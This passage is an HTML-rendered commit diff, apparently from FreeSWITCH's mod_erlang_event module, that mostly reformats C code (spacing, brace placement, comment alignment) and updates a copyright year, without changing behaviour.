</span><span class="lines">@@ -580,8 +561,8 @@
</span><span class="cx">                 if (!zstr_buf(uuid_str)) {
</span><span class="cx">                         if ((session = switch_core_session_locate(uuid_str))) {
</span><span class="cx">                                 /* create a new session list element and attach it to this listener */
</span><del>-                                if ((arity==2 &amp;&amp; attach_call_to_pid(listener, &amp;msg-&gt;from, session)) ||
-                                                (arity==3 &amp;&amp; attach_call_to_registered_process(listener, reg_name, session))) {
</del><ins>+                                if ((arity == 2 &amp;&amp; attach_call_to_pid(listener, &amp;msg-&gt;from, session)) ||
+                                        (arity == 3 &amp;&amp; attach_call_to_registered_process(listener, reg_name, session))) {
</ins><span class="cx">                                         ei_x_encode_atom(rbuf, &quot;ok&quot;);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="lines">@@ -607,17 +588,17 @@
</span><span class="cx"> /* catch the response to ei_rpc_to (which comes back as {rex, {Ref, Pid}}
</span><span class="cx">    The {Ref,Pid} bit can be handled by handle_ref_tuple
</span><span class="cx">  */
</span><del>-static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg *msg, int arity, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_rpcresponse(listener_t *listener, erlang_msg * msg, int arity, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int type, size, arity2, tmpindex;
</span><span class="cx"> 
</span><span class="cx">         ei_get_type(buf-&gt;buff, &amp;buf-&gt;index, &amp;type, &amp;size);
</span><del>-        switch(type) {
-        case ERL_SMALL_TUPLE_EXT :
-        case ERL_LARGE_TUPLE_EXT :
</del><ins>+        switch (type) {
+        case ERL_SMALL_TUPLE_EXT:
+        case ERL_LARGE_TUPLE_EXT:
</ins><span class="cx">                 tmpindex = buf-&gt;index;
</span><span class="cx">                 ei_decode_tuple_header(buf-&gt;buff, &amp;tmpindex, &amp;arity2);
</span><del>-                return handle_ref_tuple(listener,msg,buf,rbuf);
</del><ins>+                return handle_ref_tuple(listener, msg, buf, rbuf);
</ins><span class="cx">         default:
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Unknown rpc response\n&quot;);
</span><span class="cx">                 break;
</span><span class="lines">@@ -626,7 +607,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char tupletag[MAXATOMLEN];
</span><span class="cx">         int arity;
</span><span class="lines">@@ -637,30 +618,29 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else {
</del><ins>+        } else {
</ins><span class="cx">                 if (!strncmp(tupletag, &quot;fetch_reply&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_fetch_reply(listener,buf,rbuf);
</del><ins>+                        ret = handle_msg_fetch_reply(listener, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;set_log_level&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_set_log_level(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_set_log_level(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;event&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_event(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_event(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;nixevent&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_nixevent(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_nixevent(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;api&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_api(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_api(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;bgapi&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_bgapi(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_bgapi(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;sendevent&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_sendevent(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_sendevent(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;sendmsg&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_sendmsg(listener,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_sendmsg(listener, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;bind&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_bind(listener,msg,buf,rbuf);
</del><ins>+                        ret = handle_msg_bind(listener, msg, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;handlecall&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_handlecall(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_handlecall(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else if (!strncmp(tupletag, &quot;rex&quot;, MAXATOMLEN)) {
</span><del>-                        ret = handle_msg_rpcresponse(listener,msg,arity,buf,rbuf);
</del><ins>+                        ret = handle_msg_rpcresponse(listener, msg, arity, buf, rbuf);
</ins><span class="cx">                 } else {
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="lines">@@ -670,7 +650,7 @@
</span><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_status_t  handle_msg_atom(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_msg_atom(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="cx">         switch_status_t ret = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -679,8 +659,7 @@
</span><span class="cx">                 ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badarg&quot;);
</span><del>-        }
-        else if (!strncmp(atom, &quot;nolog&quot;, MAXATOMLEN)) {
</del><ins>+        } else if (!strncmp(atom, &quot;nolog&quot;, MAXATOMLEN)) {
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                         void *pop;
</span><span class="cx">                         /*purge the log queue */
</span><span class="lines">@@ -707,7 +686,7 @@
</span><span class="cx">                 void *pop;
</span><span class="cx">                 /*purge the event queue */
</span><span class="cx">                 while (switch_queue_trypop(listener-&gt;event_queue, &amp;pop) == SWITCH_STATUS_SUCCESS);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                         uint8_t x = 0;
</span><span class="cx">                         switch_clear_flag_locked(listener, LFLAG_EVENTS);
</span><span class="lines">@@ -739,12 +718,12 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;undef&quot;);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return ret;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_ref_tuple(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         erlang_ref ref;
</span><span class="cx">         erlang_pid *pid;
</span><span class="lines">@@ -765,17 +744,17 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;badmem&quot;);
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (ei_decode_pid(buf-&gt;buff, &amp;buf-&gt;index, pid)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Invalid pid in a reference/pid tuple\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_hash_ref(&amp;ref, hash);
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Hashed ref to %s\n&quot;, hash);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((p = switch_core_hash_find(listener-&gt;spawn_pid_hash, hash))) {
</span><span class="cx">                 if (p == &amp;globals.TIMEOUT) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Handler for %s timed out\n&quot;, hash);
</span><span class="lines">@@ -788,7 +767,7 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found waiting slot for %s\n&quot;, hash);
</span><span class="cx">                         switch_core_hash_delete(listener-&gt;spawn_pid_hash, hash);
</span><span class="cx">                         switch_core_hash_insert(listener-&gt;spawn_pid_hash, hash, pid);
</span><del>-                        return SWITCH_STATUS_FALSE; /*no reply */
</del><ins>+                        return SWITCH_STATUS_FALSE;        /*no reply */
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Found filled slot for %s\n&quot;, hash);
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="lines">@@ -803,7 +782,7 @@
</span><span class="cx">                 ei_x_encode_atom(rbuf, &quot;invalid_ref&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_safe_free(pid); /* don't need it */
</del><ins>+        switch_safe_free(pid);                /* don't need it */
</ins><span class="cx"> 
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -811,7 +790,7 @@
</span><span class="cx"> 
</span><span class="cx"> /* fake enough of the net_kernel module to be able to respond to net_adm:ping */
</span><span class="cx"> /* {'$gen_call', {&lt;cpx@freecpx.128.0&gt;, #Ref&lt;254770.4.0&gt;}, {is_auth, cpx@freecpx} */
</span><del>-static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+static switch_status_t handle_net_kernel_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int version, size, type, arity;
</span><span class="cx">         char atom[MAXATOMLEN];
</span><span class="lines">@@ -881,7 +860,7 @@
</span><span class="cx">         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">         ei_x_encode_ref(rbuf, &amp;ref);
</span><span class="cx">         ei_x_encode_atom(rbuf, &quot;yes&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="cx">         ei_send(listener-&gt;sockfd, &amp;pid, rbuf-&gt;buff, rbuf-&gt;index);
</span><span class="cx">         switch_mutex_unlock(listener-&gt;sock_mutex);
</span><span class="lines">@@ -893,7 +872,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-int handle_msg(listener_t *listener, erlang_msg *msg, ei_x_buff *buf, ei_x_buff *rbuf)
</del><ins>+int handle_msg(listener_t *listener, erlang_msg * msg, ei_x_buff * buf, ei_x_buff * rbuf)
</ins><span class="cx"> {
</span><span class="cx">         int type, type2, size, version, arity, tmpindex;
</span><span class="cx">         switch_status_t ret = SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -905,37 +884,37 @@
</span><span class="cx">                 buf-&gt;index = 0;
</span><span class="cx">                 ei_decode_version(buf-&gt;buff, &amp;buf-&gt;index, &amp;version);
</span><span class="cx">                 ei_get_type(buf-&gt;buff, &amp;buf-&gt;index, &amp;type, &amp;size);
</span><del>-                switch(type) {
-                case ERL_SMALL_TUPLE_EXT :
-                case ERL_LARGE_TUPLE_EXT :
</del><ins>+                switch (type) {
+                case ERL_SMALL_TUPLE_EXT:
+                case ERL_LARGE_TUPLE_EXT:
</ins><span class="cx">                         tmpindex = buf-&gt;index;
</span><span class="cx">                         ei_decode_tuple_header(buf-&gt;buff, &amp;tmpindex, &amp;arity);
</span><span class="cx">                         ei_get_type(buf-&gt;buff, &amp;tmpindex, &amp;type2, &amp;size);
</span><span class="cx"> 
</span><del>-                        switch(type2) {
-                                case ERL_ATOM_EXT:
-                                        ret = handle_msg_tuple(listener,msg,buf,rbuf);
-                                        break;
-                                case ERL_REFERENCE_EXT :
-                                case ERL_NEW_REFERENCE_EXT :
-                                        ret = handle_ref_tuple(listener, msg, buf, rbuf);
-                                        break;
-                                default :
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;WEEEEEEEE %d %d\n&quot;, type, type2);
-                                        /* some other kind of erlang term */
-                                        ei_x_encode_tuple_header(rbuf, 2);
-                                        ei_x_encode_atom(rbuf, &quot;error&quot;);
-                                        ei_x_encode_atom(rbuf, &quot;undef&quot;);
-                                        break;
</del><ins>+                        switch (type2) {
+                        case ERL_ATOM_EXT:
+                                ret = handle_msg_tuple(listener, msg, buf, rbuf);
+                                break;
+                        case ERL_REFERENCE_EXT:
+                        case ERL_NEW_REFERENCE_EXT:
+                                ret = handle_ref_tuple(listener, msg, buf, rbuf);
+                                break;
+                        default:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;WEEEEEEEE %d %d\n&quot;, type, type2);
+                                /* some other kind of erlang term */
+                                ei_x_encode_tuple_header(rbuf, 2);
+                                ei_x_encode_atom(rbuf, &quot;error&quot;);
+                                ei_x_encode_atom(rbuf, &quot;undef&quot;);
+                                break;
</ins><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         break;
</span><del>-                                                        
-                case ERL_ATOM_EXT :
-                        ret = handle_msg_atom(listener,msg,buf,rbuf);
</del><ins>+
+                case ERL_ATOM_EXT:
+                        ret = handle_msg_atom(listener, msg, buf, rbuf);
</ins><span class="cx">                         break;
</span><span class="cx"> 
</span><del>-                default :
</del><ins>+                default:
</ins><span class="cx">                         /* some other kind of erlang term */
</span><span class="cx">                         ei_x_encode_tuple_header(rbuf, 2);
</span><span class="cx">                         ei_x_encode_atom(rbuf, &quot;error&quot;);
</span><span class="lines">@@ -944,7 +923,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (SWITCH_STATUS_FALSE==ret) {
</del><ins>+        if (SWITCH_STATUS_FALSE == ret) {
</ins><span class="cx">                 return 0;
</span><span class="cx">         } else if (rbuf-&gt;index &gt; 1) {
</span><span class="cx">                 switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="lines">@@ -954,9 +933,9 @@
</span><span class="cx">                 ei_x_print_msg(rbuf, &amp;msg-&gt;from, 1);
</span><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-                if (SWITCH_STATUS_SUCCESS==ret)
</del><ins>+                if (SWITCH_STATUS_SUCCESS == ret)
</ins><span class="cx">                         return 0;
</span><del>-                else /* SWITCH_STATUS_TERM */
</del><ins>+                else                                        /* SWITCH_STATUS_TERM */
</ins><span class="cx">                         return 1;
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Empty reply, supressing\n&quot;);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodevent_handlersmod_erlang_eventmod_erlang_eventc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/event_handlers/mod_erlang_event/mod_erlang_event.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -59,7 +59,7 @@
</span><span class="cx">         for (l = listen_list.listeners; l; l = l-&gt;next) {
</span><span class="cx">                 if (switch_test_flag(l, LFLAG_LOG) &amp;&amp; l-&gt;level &gt;= node-&gt;level) {
</span><span class="cx"> 
</span><del>-                         switch_log_node_t *dnode = switch_log_node_dup(node); 
</del><ins>+                        switch_log_node_t *dnode = switch_log_node_dup(node);
</ins><span class="cx"> 
</span><span class="cx">                         if (switch_queue_trypush(l-&gt;log_queue, dnode) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (l-&gt;lost_logs) {
</span><span class="lines">@@ -84,14 +84,14 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void expire_listener(listener_t **listener)
</del><ins>+static void expire_listener(listener_t ** listener)
</ins><span class="cx"> {
</span><span class="cx">         void *pop;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_thread_rwlock_unlock((*listener)-&gt;rwlock);
</span><span class="cx">         switch_core_hash_destroy(&amp;(*listener)-&gt;event_hash);
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;(*listener)-&gt;pool);
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (switch_queue_trypop((*listener)-&gt;event_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">                 switch_event_destroy(&amp;pevent);
</span><span class="lines">@@ -101,7 +101,8 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void remove_binding(listener_t *listener, erlang_pid *pid) {
</del><ins>+static void remove_binding(listener_t *listener, erlang_pid * pid)
+{
</ins><span class="cx">         struct erlang_binding *ptr, *lst = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="lines">@@ -109,8 +110,7 @@
</span><span class="cx">         switch_xml_set_binding_sections(bindings.search_binding, SWITCH_XML_SECTION_MAX);
</span><span class="cx"> 
</span><span class="cx">         for (ptr = bindings.head; ptr; lst = ptr, ptr = ptr-&gt;next) {
</span><del>-                if ((listener &amp;&amp; ptr-&gt;listener == listener) ||
-                        (pid &amp;&amp; (ptr-&gt;process.type == ERLANG_PID) &amp;&amp; !ei_compare_pids(&amp;ptr-&gt;process.pid, pid)))  {
</del><ins>+                if ((listener &amp;&amp; ptr-&gt;listener == listener) || (pid &amp;&amp; (ptr-&gt;process.type == ERLANG_PID) &amp;&amp; !ei_compare_pids(&amp;ptr-&gt;process.pid, pid))) {
</ins><span class="cx">                         if (bindings.head == ptr) {
</span><span class="cx">                                 if (ptr-&gt;next) {
</span><span class="cx">                                         bindings.head = ptr-&gt;next;
</span><span class="lines">@@ -136,11 +136,11 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static void send_event_to_attached_sessions(listener_t* listener, switch_event_t *event)
</del><ins>+static void send_event_to_attached_sessions(listener_t *listener, switch_event_t *event)
</ins><span class="cx"> {
</span><span class="cx">         char *uuid = switch_event_get_header(event, &quot;unique-id&quot;);
</span><span class="cx">         switch_event_t *clone = NULL;
</span><del>-        session_elem_t* s;
</del><ins>+        session_elem_t *s;
</ins><span class="cx"> 
</span><span class="cx">         if (!uuid)
</span><span class="cx">                 return;
</span><span class="lines">@@ -148,7 +148,8 @@
</span><span class="cx">         for (s = listener-&gt;session_list; s; s = s-&gt;next) {
</span><span class="cx">                 /* check the event uuid against the uuid of each session */
</span><span class="cx">                 if (!strcmp(uuid, s-&gt;uuid_str)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Sending event %s to attached session for %s\n&quot;, switch_event_name(event-&gt;event_id), s-&gt;uuid_str);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Sending event %s to attached session for %s\n&quot;,
+                                                          switch_event_name(event-&gt;event_id), s-&gt;uuid_str);
</ins><span class="cx">                         if (switch_event_dup(&amp;clone, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 /* add the event to the queue for this session */
</span><span class="cx">                                 if (switch_queue_trypush(s-&gt;event_queue, clone) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -177,9 +178,9 @@
</span><span class="cx">         lp = listen_list.listeners;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><del>-        while(lp) {
</del><ins>+        while (lp) {
</ins><span class="cx">                 uint8_t send = 0;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 l = lp;
</span><span class="cx">                 lp = lp-&gt;next;
</span><span class="cx"> 
</span><span class="lines">@@ -187,7 +188,7 @@
</span><span class="cx">                    one of them should receive the event as well
</span><span class="cx">                  */
</span><span class="cx"> 
</span><del>-                send_event_to_attached_sessions(l,event);
</del><ins>+                send_event_to_attached_sessions(l, event);
</ins><span class="cx"> 
</span><span class="cx">                 if (!switch_test_flag(l, LFLAG_EVENTS)) {
</span><span class="cx">                         continue;
</span><span class="lines">@@ -208,7 +209,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (send) {
</span><span class="cx">                         if (switch_event_dup(&amp;clone, event) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 if (switch_queue_trypush(l-&gt;event_queue, clone) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -237,7 +238,7 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> #ifdef WIN32
</span><del>-static void close_socket(SOCKET *sock)
</del><ins>+static void close_socket(SOCKET * sock)
</ins><span class="cx"> #else
</span><span class="cx"> static void close_socket(int *sock)
</span><span class="cx"> #endif
</span><span class="lines">@@ -286,7 +287,7 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> /* Search for a listener already talking to the specified node */
</span><del>-static listener_t * find_listener(char* nodename)
</del><ins>+static listener_t *find_listener(char *nodename)
</ins><span class="cx"> {
</span><span class="cx">         listener_t *l = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -313,13 +314,14 @@
</span><span class="cx"> static void remove_session_elem_from_listener(listener_t *listener, session_elem_t *session_element)
</span><span class="cx"> {
</span><span class="cx">         session_elem_t *s, *last = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session_element)
</span><span class="cx">                 return;
</span><span class="cx"> 
</span><del>-        for(s = listener-&gt;session_list; s; s = s-&gt;next) {
</del><ins>+        for (s = listener-&gt;session_list; s; s = s-&gt;next) {
</ins><span class="cx">                 if (s == session_element) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Removing session element for %s\n&quot;, session_element-&gt;uuid_str);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Removing session element for %s\n&quot;,
+                                                          session_element-&gt;uuid_str);
</ins><span class="cx">                         if (last) {
</span><span class="cx">                                 last-&gt;next = s-&gt;next;
</span><span class="cx">                         } else {
</span><span class="lines">@@ -342,17 +344,18 @@
</span><span class="cx">         /* this allows the application threads to exit */
</span><span class="cx">         switch_clear_flag_locked(session_element, LFLAG_SESSION_ALIVE);
</span><span class="cx">         switch_core_destroy_memory_pool(&amp;session_element-&gt;pool);
</span><del>-        /*switch_safe_free(s);*/
</del><ins>+        /*switch_safe_free(s); */
</ins><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element) {
</del><ins>+static void remove_session_elem_from_listener_locked(listener_t *listener, session_elem_t *session_element)
+{
</ins><span class="cx">         switch_mutex_lock(listener-&gt;session_mutex);
</span><span class="cx">         remove_session_elem_from_listener(listener, session_element);
</span><span class="cx">         switch_mutex_unlock(listener-&gt;session_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-session_elem_t * find_session_elem_by_pid(listener_t *listener, erlang_pid *pid)
</del><ins>+session_elem_t *find_session_elem_by_pid(listener_t *listener, erlang_pid * pid)
</ins><span class="cx"> {
</span><span class="cx">         session_elem_t *s = NULL;
</span><span class="cx"> 
</span><span class="lines">@@ -369,9 +372,9 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> static switch_xml_t erlang_fetch(const char *sectionstr, const char *tag_name, const char *key_name, const char *key_value,
</span><del>-                                                                switch_event_t *params, void *user_data)
</del><ins>+                                                                 switch_event_t *params, void *user_data)
</ins><span class="cx"> {
</span><del>-        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
</del><ins>+        char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
</ins><span class="cx">         int type, size;
</span><span class="cx">         int i = 0;
</span><span class="cx">         void *p = NULL;
</span><span class="lines">@@ -388,7 +391,7 @@
</span><span class="cx"> 
</span><span class="cx">         section = switch_xml_parse_section_string((char *) sectionstr);
</span><span class="cx"> 
</span><del>-        for (ptr = bindings.head; ptr &amp;&amp; ptr-&gt;section != section; ptr = ptr-&gt;next); /* just get the first match */
</del><ins>+        for (ptr = bindings.head; ptr &amp;&amp; ptr-&gt;section != section; ptr = ptr-&gt;next);        /* just get the first match */
</ins><span class="cx"> 
</span><span class="cx">         if (!ptr) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;no binding for %s\n&quot;, sectionstr);
</span><span class="lines">@@ -397,15 +400,16 @@
</span><span class="cx"> 
</span><span class="cx">         if (!ptr-&gt;listener) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;NULL pointer binding!\n&quot;);
</span><del>-                return NULL; /* our pointer is trash */
</del><ins>+                return NULL;                        /* our pointer is trash */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;binding for %s in section %s with key %s and value %s requested from node %s\n&quot;, tag_name, sectionstr, key_name, key_value, ptr-&gt;process.pid.node);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;binding for %s in section %s with key %s and value %s requested from node %s\n&quot;, tag_name,
+                                          sectionstr, key_name, key_value, ptr-&gt;process.pid.node);
</ins><span class="cx"> 
</span><span class="cx">         switch_uuid_get(&amp;uuid);
</span><span class="cx">         switch_uuid_format(uuid_str, &amp;uuid);
</span><span class="cx"> 
</span><del>-        /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;Request-ID&quot;, uuid_str);*/
</del><ins>+        /*switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;Request-ID&quot;, uuid_str); */
</ins><span class="cx"> 
</span><span class="cx">         ei_x_encode_tuple_header(&amp;buf, 7);
</span><span class="cx">         ei_x_encode_atom(&amp;buf, &quot;fetch&quot;);
</span><span class="lines">@@ -427,25 +431,26 @@
</span><span class="cx">         switch_mutex_unlock(ptr-&gt;listener-&gt;sock_mutex);
</span><span class="cx"> 
</span><span class="cx">         while (!(p = switch_core_hash_find(ptr-&gt;listener-&gt;fetch_reply_hash, uuid_str)) || p == &amp;globals.WAITING) {
</span><del>-                if (i &gt; 50) { /* half a second timeout */
</del><ins>+                if (i &gt; 50) {                        /* half a second timeout */
</ins><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Timed out when waiting for XML fetch response\n&quot;);
</span><del>-                        switch_core_hash_insert(ptr-&gt;listener-&gt;fetch_reply_hash, uuid_str, &amp;globals.TIMEOUT); /* TODO lock this? */
</del><ins>+                        switch_core_hash_insert(ptr-&gt;listener-&gt;fetch_reply_hash, uuid_str, &amp;globals.TIMEOUT);        /* TODO lock this? */
</ins><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><span class="cx">                 i++;
